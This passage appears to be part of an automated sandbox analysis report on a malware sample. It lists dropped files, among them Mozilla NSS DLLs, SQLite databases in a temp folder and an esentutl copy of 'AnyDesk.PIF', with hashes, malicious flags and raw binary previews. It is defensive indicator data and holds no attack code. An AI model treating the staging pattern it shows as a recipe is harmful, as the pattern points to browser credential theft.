                                                                                    SSDEEP:6144:C+YBCxpjbRIDmvby5xDXlFVJM8PojGGHrIr1qqDL6XP+jW:Cu4Abg7XV72GI/qn6z
                                                                                    MD5:343AA83574577727AABE537DCCFDEAFC
                                                                                    SHA1:9CE3B9A182429C0DBA9821E2E72D3AB46F5D0A06
                                                                                    SHA-256:393AE7F06FE6CD19EA6D57A93DD0ACD839EE39BA386CF1CA774C4C59A3BFEBD8
                                                                                    SHA-512:827425D98BA491CD30929BEE6D658FCF537776CE96288180FE670FA6320C64177A7214FF4884AE3AA68E135070F28CA228AFB7F4012B724014BA7D106B5F0DCE
                                                                                    Malicious:true
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........./...AV..AV..AV...V..AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV........................PE..L......Z.........."!.........f...............................................p......o.....@.............................P...`........@..p....................P..........T...........................8...@...............8............................text...U........................... ..`.rdata..............................@..@.data...lH..........................@....rsrc...p....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\mozglue.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):139216
                                                                                    Entropy (8bit):6.841477908153926
                                                                                    Encrypted:false
                                                                                    SSDEEP:3072:8Oqe98Ea4usvd5jm6V0InXx/CHzGYC6NccMmxK3atIYHD2JJJsPyimY4kQkE:Vqe98Evua5Sm0ux/5YC6NccMmtXHD2JR
                                                                                    MD5:9E682F1EB98A9D41468FC3E50F907635
                                                                                    SHA1:85E0CECA36F657DDF6547AA0744F0855A27527EE
                                                                                    SHA-256:830533BB569594EC2F7C07896B90225006B90A9AF108F49D6FB6BEBD02428B2D
                                                                                    SHA-512:230230722D61AC1089FABF3F2DECFA04F9296498F8E2A2A49B1527797DCA67B5A11AB8656F04087ACADF873FA8976400D57C77C404EBA4AFF89D92B9986F32ED
                                                                                    Malicious:true
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."yQ.f.?Mf.?Mf.?Mo`.Mv.?M.z>Lb.?M...Md.?M.z<Lh.?M.z;Lm.?M.z:Lu.?MDx>Lo.?Mf.>M..?M.{1Lu.?M.{?Lg.?M.{.Mg.?M.{=Lg.?MRichf.?M................PE..L......Z.........."!.........................................................@............@.............................\...L...,.... ..p....................0......p...T...............................@...................T...@....................text............................... ..`.rdata...b.......d..................@..@.data...............................@....rsrc...p.... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\msvcp140.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):440120
                                                                                    Entropy (8bit):6.652844702578311
                                                                                    Encrypted:false
                                                                                    SSDEEP:12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
                                                                                    MD5:109F0F02FD37C84BFC7508D4227D7ED5
                                                                                    SHA1:EF7420141BB15AC334D3964082361A460BFDB975
                                                                                    SHA-256:334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
                                                                                    SHA-512:46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\nss3.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):1244112
                                                                                    Entropy (8bit):6.809431682312062
                                                                                    Encrypted:false
                                                                                    SSDEEP:24576:XDI7I4/FeoJQuQ3IhXtHfjyqgJ0BnPQAib7/12bg2JSna5xfg0867U4MSpu731hn:uQ3YX5jyqgynPkbd24VwMSpu7Fhn
                                                                                    MD5:556EA09421A0F74D31C4C0A89A70DC23
                                                                                    SHA1:F739BA9B548EE64B13EB434A3130406D23F836E3
                                                                                    SHA-256:F0E6210D4A0D48C7908D8D1C270449C91EB4523E312A61256833BFEAF699ABFB
                                                                                    SHA-512:2481FC80DFFA8922569552C3C3EBAEF8D0341B80427447A14B291EC39EA62AB9C05A75E85EEF5EA7F857488CAB1463C18586F9B076E2958C5A314E459045EDE2
                                                                                    Malicious:true
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........x..c+..c+..c+...+..c++.b*..c+lh.+..c++.`*..c++.f*..c++.g*..c+.b*..c+9.b*..c+..b+..c+9.k*..c+9.g*C.c+9.c*..c+9..+..c+9.a*..c+Rich..c+................PE..L...a..Z.........."!................T........................................@............@.............................d....<..T.......h.......................t~..0...T...............................@............................................text............................... ..`.rdata...P.......R..................@..@.data....E...`... ...:..............@....rsrc...h............Z..............@..@.reloc..t~...........^..............@..B................................................................................................................................................................................................................................................................................

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\nssdbm3.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):92624
                                                                                    Entropy (8bit):6.639368309935547
                                                                                    Encrypted:false
                                                                                    SSDEEP:1536:5vNGVOt0VjOJkbH8femxfRVMNKBDuOQWL1421GlkxERC+ANcFZoZ/6tNRCwI41ZH:hNGVOiBZbcGmxXMcBqmzoCUZoZebHZMw
                                                                                    MD5:569A7A65658A46F9412BDFA04F86E2B2
                                                                                    SHA1:44CC0038E891AE73C43B61A71A46C97F98B1030D
                                                                                    SHA-256:541A293C450E609810279F121A5E9DFA4E924D52E8B0C6C543512B5026EFE7EC
                                                                                    SHA-512:C027B9D06C627026774195D3EAB72BD245EBBF5521CB769A4205E989B07CB4687993A47061FF6343E6EC1C059C3EC19664B52ED3A1100E6A78CFFB1C46472AFB
                                                                                    Malicious:true
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Z.Y.4.Y.4.Y.4.P...U.4...5.[.4..y.Q.4...7.X.4...1.S.4...0.R.4.{.5.[.4...5.Z.4.Y.5...4...0.A.4...4.X.4....X.4...6.X.4.RichY.4.........................PE..L......Z.........."!.........0...............0............................................@..........................?.......@.......`..p............L.......p.......:..T...........................(;..@............0..X............................text............................... ..`.rdata..4....0... ..................@..@.data........P.......>..............@....rsrc...p....`.......@..............@..@.reloc.......p.......D..............@..B................................................................................................................................................................................................................................................................................

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\softokn3.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):144336
                                                                                    Entropy (8bit):6.5527585854849395
                                                                                    Encrypted:false
                                                                                    SSDEEP:3072:zAf6suip+z7FEk/oJz69sFaXeu9CoT2nIZvetBWqIBoE9Mv:Q6PpsF4CoT2EeY2eMv
                                                                                    MD5:67827DB2380B5848166A411BAE9F0632
                                                                                    SHA1:F68F1096C5A3F7B90824AA0F7B9DA372228363FF
                                                                                    SHA-256:9A7F11C212D61856DFC494DE111911B7A6D9D5E9795B0B70BBBC998896F068AE
                                                                                    SHA-512:910E15FD39B48CD13427526FDB702135A7164E1748A7EACCD6716BCB64B978FE333AC26FA8EBA73ED33BD32F2330D5C343FCD3F0FE2FFD7DF54DB89052DB7148
                                                                                    Malicious:true
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L......Z.........."!.........`...............................................P......+Z....@..........................................0..p....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...C.......D..................@..@.data........ ......................@....rsrc...p....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\ucrtbase.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):1142072
                                                                                    Entropy (8bit):6.809041027525523
                                                                                    Encrypted:false
                                                                                    SSDEEP:24576:bZBmnrh2YVAPROs7Bt/tX+/APcmcvIZPoy4TbK:FBmF2lIeaAPgb
                                                                                    MD5:D6326267AE77655F312D2287903DB4D3
                                                                                    SHA1:1268BEF8E2CA6EBC5FB974FDFAFF13BE5BA7574F
                                                                                    SHA-256:0BB8C77DE80ACF9C43DE59A8FD75E611CC3EB8200C69F11E94389E8AF2CEB7A9
                                                                                    SHA-512:11DB71D286E9DF01CB05ACEF0E639C307EFA3FEF8442E5A762407101640AC95F20BAD58F0A21A4DF7DBCDA268F934B996D9906434BF7E575C4382281028F64D4
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........E..............o........p..................................................................Rich............................PE..L....3............!.....Z...........=.......p...............................p............@A........................`................................0..8=......$... ...T...........................H...@............................................text....Z.......Z.................. ..`.data........p.......^..............@....idata..6............l..............@..@.rsrc...............................@..@.reloc..$...........................@..B........................................................................................................................................................................................................................................................................................................

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\vcruntime140.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):83784
                                                                                    Entropy (8bit):6.890347360270656
                                                                                    Encrypted:false
                                                                                    SSDEEP:1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
                                                                                    MD5:7587BF9CB4147022CD5681B015183046
                                                                                    SHA1:F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
                                                                                    SHA-256:C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
                                                                                    SHA-512:0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

                                                                                    C:\Users\user\AppData\Local\Temp\64618757274263327808.tmp

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                    Category:dropped
                                                                                    Size (bytes):40960
                                                                                    Entropy (8bit):0.8553638852307782
                                                                                    Encrypted:false
                                                                                    SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                    MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                    SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                    SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                    SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                    Malicious:false
                                                                                    Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                    C:\Users\user\AppData\Local\Temp\64619687498432261253974.tmp

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
                                                                                    Category:dropped
                                                                                    Size (bytes):98304
                                                                                    Entropy (8bit):0.08235737944063153
                                                                                    Encrypted:false
                                                                                    SSDEEP:12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
                                                                                    MD5:369B6DD66F1CAD49D0952C40FEB9AD41
                                                                                    SHA1:D05B2DE29433FB113EC4C558FF33087ED7481DD4
                                                                                    SHA-256:14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
                                                                                    SHA-512:771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
                                                                                    Malicious:false
                                                                                    Preview:SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                    C:\Users\user\AppData\Local\Temp\64619687498432261253974.tmp-shm

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:data
                                                                                    Category:dropped
                                                                                    Size (bytes):32768
                                                                                    Entropy (8bit):0.017262956703125623
                                                                                    Encrypted:false
                                                                                    SSDEEP:3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
                                                                                    MD5:B7C14EC6110FA820CA6B65F5AEC85911
                                                                                    SHA1:608EEB7488042453C9CA40F7E1398FC1A270F3F4
                                                                                    SHA-256:FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
                                                                                    SHA-512:D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
                                                                                    Malicious:false
                                                                                    Preview:..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                    C:\Users\user\AppData\Local\Temp\64620006211174190185128.tmp

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                    Category:dropped
                                                                                    Size (bytes):106496
                                                                                    Entropy (8bit):1.136471148832945
                                                                                    Encrypted:false
                                                                                    SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
                                                                                    MD5:37B1FC046E4B29468721F797A2BB968D
                                                                                    SHA1:50055EF1C50E4C1A7CCF7D00620E95128E4C448B
                                                                                    SHA-256:7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
                                                                                    SHA-512:1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
                                                                                    Malicious:false
                                                                                    Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                    C:\Users\user\AppData\Local\Temp\6462015728928614179941.tmp

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                    Category:dropped
                                                                                    Size (bytes):106496
                                                                                    Entropy (8bit):1.136471148832945
                                                                                    Encrypted:false
                                                                                    SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
                                                                                    MD5:37B1FC046E4B29468721F797A2BB968D
                                                                                    SHA1:50055EF1C50E4C1A7CCF7D00620E95128E4C448B
                                                                                    SHA-256:7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
                                                                                    SHA-512:1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
                                                                                    Malicious:false
                                                                                    Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                    C:\Users\user\AppData\Local\Temp\6462140360594529818440.tmp

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
                                                                                    Category:dropped
                                                                                    Size (bytes):159744
                                                                                    Entropy (8bit):0.5394293526345721
                                                                                    Encrypted:false
                                                                                    SSDEEP:96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
                                                                                    MD5:52701A76A821CDDBC23FB25C3FCA4968
                                                                                    SHA1:440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
                                                                                    SHA-256:D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
                                                                                    SHA-512:2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
                                                                                    Malicious:false
                                                                                    Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                    C:\Users\user\AppData\Local\Temp\64743751960454459447285.tmp

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                    Category:dropped
                                                                                    Size (bytes):40960
                                                                                    Entropy (8bit):0.8553638852307782
                                                                                    Encrypted:false
                                                                                    SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                    MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                    SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                    SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                    SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                    Malicious:false
                                                                                    Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                    C:\Users\user\AppData\Local\Temp\64746714889633890009785.tmp

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
                                                                                    Category:dropped
                                                                                    Size (bytes):98304
                                                                                    Entropy (8bit):0.08235737944063153
                                                                                    Encrypted:false
                                                                                    SSDEEP:12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
                                                                                    MD5:369B6DD66F1CAD49D0952C40FEB9AD41
                                                                                    SHA1:D05B2DE29433FB113EC4C558FF33087ED7481DD4
                                                                                    SHA-256:14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
                                                                                    SHA-512:771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
                                                                                    Malicious:false
                                                                                    Preview:SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                    C:\Users\user\AppData\Local\Temp\64746714889633890009785.tmp-shm

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:data
                                                                                    Category:dropped
                                                                                    Size (bytes):32768
                                                                                    Entropy (8bit):0.017262956703125623
                                                                                    Encrypted:false
                                                                                    SSDEEP:3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
                                                                                    MD5:B7C14EC6110FA820CA6B65F5AEC85911
                                                                                    SHA1:608EEB7488042453C9CA40F7E1398FC1A270F3F4
                                                                                    SHA-256:FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
                                                                                    SHA-512:D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
                                                                                    Malicious:false
                                                                                    Preview:..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                    C:\Users\user\AppData\Local\Temp\64747188891737845675573.tmp

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                    Category:dropped
                                                                                    Size (bytes):106496
                                                                                    Entropy (8bit):1.136471148832945
                                                                                    Encrypted:false
                                                                                    SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
                                                                                    MD5:37B1FC046E4B29468721F797A2BB968D
                                                                                    SHA1:50055EF1C50E4C1A7CCF7D00620E95128E4C448B
                                                                                    SHA-256:7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
                                                                                    SHA-512:1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
                                                                                    Malicious:false
                                                                                    Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                    C:\Users\user\AppData\Local\Temp\647478148329463479424.tmp

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                    Category:dropped
                                                                                    Size (bytes):106496
                                                                                    Entropy (8bit):1.136471148832945
                                                                                    Encrypted:false
                                                                                    SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
                                                                                    MD5:37B1FC046E4B29468721F797A2BB968D
                                                                                    SHA1:50055EF1C50E4C1A7CCF7D00620E95128E4C448B
                                                                                    SHA-256:7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
                                                                                    SHA-512:1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
                                                                                    Malicious:false
                                                                                    Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                    C:\Users\user\AppData\Local\Temp\64748435159212535655531.tmp

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
                                                                                    Category:dropped
                                                                                    Size (bytes):159744
                                                                                    Entropy (8bit):0.5394293526345721
                                                                                    Encrypted:false
                                                                                    SSDEEP:96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
                                                                                    MD5:52701A76A821CDDBC23FB25C3FCA4968
                                                                                    SHA1:440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
                                                                                    SHA-256:D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
                                                                                    SHA-512:2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
                                                                                    Malicious:false
                                                                                    Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                    \Device\ConDrv

                                                                                    Download File
                                                                                    Process:C:\Windows\SysWOW64\esentutl.exe
                                                                                    File Type:ASCII text, with CRLF, CR line terminators
                                                                                    Category:dropped
                                                                                    Size (bytes):590
                                                                                    Entropy (8bit):4.654267265170498
                                                                                    Encrypted:false
                                                                                    SSDEEP:12:qzBBVmXxTz+zeSbZ7u0wxDDDDDDDDjCaY5daYASlTB8NGNY:iBB0XxTz+zp7u0wQakdaYlt8N/
                                                                                    MD5:9F2FDF4E15DE44B5F363146E5E3B63CE
                                                                                    SHA1:68E6270CF19CF8BC2E2FC8E5B7F3FE435D6433BF
                                                                                    SHA-256:B2600C4D5497E44F10404C915CB7F17E83AAFA8579641ED70DEDF266F7565FD0
                                                                                    SHA-512:09079F2AD70D2FCFD0A30E16135A11E3D32F0560251BD8D0782469622EF3122060C864ACC044876B44B433F02760DC6294F01952056027F483852E53314CF659
                                                                                    Malicious:false
                                                                                    Preview:..Initiating COPY FILE mode..... Source File: C:\Users\Public\Libraries\AnyDesk.PIF...Destination File: C:\\Users\\Public\\Libraries\\Xdptuvhu.PIF...... Copy Progress (% complete)...... 0 10 20 30 40 50 60 70 80 90 100... |----|----|----|----|----|----|----|----|----|----|... ..........................................................Total bytes read = 0x127600 (1209856) (1 MB)....Total bytes written = 0x128000 (1212416) (1 MB).......Operation completed successfully in 0.125 seconds.....

                                                                                    \Device\Null

                                                                                    Download File
                                                                                    Process:C:\Windows\SysWOW64\esentutl.exe
                                                                                    File Type:ASCII text, with CRLF, CR line terminators
                                                                                    Category:dropped
                                                                                    Size (bytes):560
                                                                                    Entropy (8bit):4.533453890248489
                                                                                    Encrypted:false
                                                                                    SSDEEP:12:q6p4xTXWIceSbZ7u0wxDDDDDDDDjCaY5B4aYA/4TB8NGNs:/p4xT5cp7u0wQakB4aV4t8Nl
                                                                                    MD5:F3658B19F569AAF35D2EF84B2F1167C4
                                                                                    SHA1:2AD02E091CFA91765B93F1FC4948ED4C38FCC548
                                                                                    SHA-256:FF0A16C3B27D62642F90CCC38E49F7DE0D96F7FD952AAF18E815993C18356A1C
